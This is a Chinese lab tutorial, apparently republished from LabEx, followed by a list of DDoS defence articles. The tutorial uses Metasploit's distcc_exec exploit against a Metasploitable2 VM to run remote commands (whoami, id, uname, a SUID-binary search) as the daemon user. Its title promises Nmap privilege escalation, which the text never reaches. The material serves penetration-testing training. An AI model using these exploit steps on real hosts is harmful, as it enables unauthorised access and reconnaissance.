Linux权限提升实战:使用Nmap进行提权方法解析
简介 在本实验中,你将使用 Metasploit 利用存在漏洞的 Linux 目标主机上的 `distcc` 服务,验证已获得的远程命令执行上下文,并从目标系统中收集基础系统信息。整个流程会在 Metasploit 模块提示符下逐条执行远程命令,而不是建立一个可持续交互的 shell 会话。
## 简介
在本实验中,你将使用 Metasploit 利用存在漏洞的 Linux 目标主机上的 `distcc` 服务,验证已获得的远程命令执行上下文,并从目标系统中收集基础系统信息。整个流程会在 Metasploit 模块提示符下逐条执行远程命令,而不是建立一个可持续交互的 shell 会话。
目标主机上的 `distcc` 漏洞利用模块通过 `cmd/unix/generic` 执行远程命令时通常非常稳定,但在当前实验环境中不会返回持久化 shell。本实验的关键学习目标是识别这种利用行为,确认每条命令是由哪个远程账户执行的,并通过后续命令继续完成目标枚举与信息收集。
## 准备环境
在此步骤中,我们将启动实验所需的环境组件,包括 Kali Linux 容器和 Metasploitable2 虚拟机。
1. 在终端中执行以下命令,启动 Metasploitable2 虚拟机:
```bash
sudo virsh start Metasploitable2
```
等待目标主机完成启动,这通常需要 1 到 3 分钟。
2. 通过 ping 目标 IP 地址,确认虚拟机是否已成功启动:
```bash
ping 192.168.122.102
```
按 `Ctrl+C` 停止 ping。
3. 启动 Kali Linux 容器并进入其 bash shell:
```bash
docker run -ti --network host b5b709a49cd5
```
4. 在 Kali 容器内,通过 ping `target` 主机地址来测试网络连通性:
```bash
ping 192.168.122.102
```
当你想停止 ping 操作时,按下 `Ctrl+C` 即可。
## 获取目标机器的初始访问权限
在此阶段,我们将借助 Kali 容器中的 Metasploit Framework(MSF)获取 Metasploitable2 目标主机的初始访问权限。
1. 在 Kali 容器内启动 Metasploit 控制台:
```bash
cd ~
msfconsole
```
2. 在 Metasploit 控制台中,使用 `distcc_exec` 漏洞利用模块:
```bash
use exploit/unix/misc/distcc_exec
```
3. 将 payload 设置为通用远程命令执行。在当前环境下,该模块不会返回稳定的交互式 shell,因此你应一次只执行一个远程命令:
```bash
set payload cmd/unix/generic
```
4. 设置目标主机 IP 地址:
```bash
set RHOST 192.168.122.102
```
5. 设置你要在目标系统上执行的第一个远程命令:
```bash
set CMD whoami
```
6. 运行漏洞利用模块,在目标机器上执行该命令:
```bash
run
```
成功执行后,你通常会看到类似 `192.168.122.102:3632 - stdout: daemon` 的输出。该结果表明,命令是在远程 Metasploitable2 主机上以 `daemon` 用户身份运行的。
保持停留在 `msf6 exploit(unix/misc/distcc_exec) >` 提示符下继续后续步骤。每当需要执行新的远程命令时,更新 `CMD` 后再次运行该模块。
## 验证当前用户权限
在获得远程命令执行能力后,我们需要确认目标系统用于执行命令的账户,以及该账户是否已经具备更高权限。
1. 如果你已经退出 `distcc_exec` 模块提示符,请重复步骤 2 中的 Metasploit 设置,重新回到 `msf6 exploit(unix/misc/distcc_exec) >`。
2. 将远程命令设置为查看当前用户:
```bash
set CMD whoami
```
3. 运行模块,在目标上执行命令:
```bash
run
```
4. 将下一条远程命令设置为显示用户 ID 与组信息:
```bash
set CMD id
```
5. 再次运行该模块:
```bash
run
```
如果输出显示 `stdout: daemon` 和 `uid=1(daemon) gid=1(daemon)`,则说明该漏洞利用是以 `daemon` 账户而非 `root` 身份执行远程命令。若想进一步深入控制目标,还需要结合额外的本地提权技术;不过在本实验中,我们重点放在验证访问权限和收集基础侦察信息上。
请继续停留在同一个 Metasploit 模块提示符下,进入下一步操作。
## 枚举系统信息
现在你已经确认了当前访问级别,接下来请从目标系统中收集更多详细信息,以识别被攻陷主机的系统类型与潜在利用面。
1. 如果你退出了 `distcc_exec` 模块提示符,请重复步骤 2 中的 Metasploit 设置,重新回到 `msf6 exploit(unix/misc/distcc_exec) >`。
2. 将远程命令设置为查看 Linux 发行版横幅信息:
```bash
set CMD "cat /etc/issue"
```
3. 运行该模块:
```bash
run
```
以下是你可能从目标看到的输出示例:
```plaintext
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
|_|
Warning: Never expose this VM to an untrusted network! Use msfadmin/msfadmin to log in and get started.
```
4. 将下一条远程命令设置为查看内核版本:
```bash
set CMD "uname -a"
```
5. 再次运行该模块:
```bash
run
```
以下是可能从目标看到的输出示例:
```plaintext
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```
6. 将远程命令设置为查找可能对后续渗透测试分析有帮助的 SUID 文件:
```bash
set CMD "find / -perm -u=s -type f 2>/dev/null"
```
7. 再运行一次该模块:
```bash
run
```
查看返回结果,了解目标系统中存在哪些特权二进制文件。具体条目可能略有不同,但你通常应能看到如 `/usr/bin/sudo` 和 `/usr/bin/nmap` 等路径。
检查完输出后,即可使用 `exit` 退出 Metasploit。通过本步骤,你已经确认了漏洞利用所使用的远程账户,并收集了包括发行版横幅、内核版本以及可用 SUID 二进制文件在内的关键系统信息。这些渗透后枚举结果对于确认当前访问权限,以及规划后续对 Linux 目标的进一步信息收集与权限提升都非常有帮助。
来源:https://labex.io/zh/tutorials/nmap-perform-privilege-escalation-on-linux-machine-with-nmap-416129
本站内容用于信息整理与展示,如有侵权或内容问题请及时联系处理。
相关推荐
补充同频道和同主题内容,方便继续浏览更多相关内容。
同类最新
继续查看同栏目最近更新的文章。
DDoS攻击的三大主要形式:原理、特征与防御重点
DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。
如何有效预防和缓解DDoS攻击:5大核心策略详解
面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。
常见DDoS攻击类型详解:原理、特征与防御策略
本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。
如何有效抵御DDOS攻击:4种核心防护方案解析
面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。
